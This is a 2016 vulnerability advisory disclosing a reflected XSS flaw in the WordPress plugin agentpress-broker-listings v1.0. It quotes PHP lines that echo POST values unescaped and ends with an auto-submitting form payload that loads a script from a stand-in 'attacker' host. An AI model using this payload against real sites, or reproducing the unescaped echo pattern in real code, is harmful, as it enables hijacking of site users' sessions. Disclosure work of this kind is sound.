Advisory #: 1207
Title: Reflected XSS in wordpress plugin agentpress-broker-listings v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/agentpress-broker-listings
Downloads: 952
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: agentpress-broker-listings
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./agentpress-broker-listings/create-agent.php: 67: <input type='text' name='agent[agent_name]' class='name' id='agent[agent_name]' value="<?php echo $_POST["agent"]['name'];?>" /> 72: <input type='text' name='agent[agent_contact]' class='name' id='agent[agent_contact]' value="<?php echo $_POST["agent"]['contact'];?>" /> 77: <input type='text' name='agent[agent_email]' class='name' id='agent[agent_email]' value="<?php echo $_POST["agent"]['email'];?>" /> 81: <textarea class="name" id="agent[description]" name="agent[agent_description]"><?php echo $_POST["agent"]['description'];?></textarea> The variable agent appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./agentpress-broker-listings/create-agent.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/agentpress-broker-listings/create-agent.php method=post> <input type=hidden name=agent value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>